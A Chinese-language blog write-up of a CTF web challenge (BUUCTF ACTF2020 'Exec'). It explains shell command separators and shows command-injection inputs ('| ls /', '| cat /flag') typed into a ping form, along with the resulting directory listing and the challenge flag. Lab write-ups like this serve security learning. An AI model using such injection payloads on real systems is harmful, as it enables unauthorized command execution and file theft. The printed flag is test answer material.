

BUUCTF WEB ACTF2020 新生赛 Exec

原创

[Ethan552525](#) 于 2021-07-27 13:58:28 发布 45 收藏

分类专栏: [BUUCTF](#) 文章标签: [command](#) [网络安全](#) [web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/Ethan552525/article/details/119141377>

版权



[BUUCTF 专栏收录该内容](#)

13 篇文章 0 订阅

订阅专栏

题目:

PING

请输入需要ping的地址

PING

解题:

1: 尝试输入 127.0.0.1

PING

127.0.0.1

PING

PING 127.0.0.1 (127.0.0.1): 56 data bytes

正常回显。

2: 尝试管道、连接符

管道符 | 连接符 || & && ;

command A | command B: 将A命令的输出作为B命令的输入, |前面和后面命令都要执行, 无论前面真假。

command A || command B: 如果A命令执行成功则不执行B命令, A命令执行失败才执行B命令。

command A & command B: 命令A会进入后台执行, &前面和后面命令都要执行, 无论前面真假。

command A && command B: 若A命令执行成功, 则继续执行B命令, 否则不执行B命令。

command A ; command B : 一行写入多个命令时, 使用;进行分割, 不论 A 命令是否执行成功, B 命令都会继续执行。

输入: | ls / (/ 代表根目录) 得知根目录下有flag文件。

PING

PING

```
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

<https://blog.csdn.net/Ethan52525>

输入: | cat /flag 得到flag。

PING

PING

```
flag{e7e10367-27ce-4199-91b9-583df21bb67e}
```

<https://blog.csdn.net/Ethan52525>

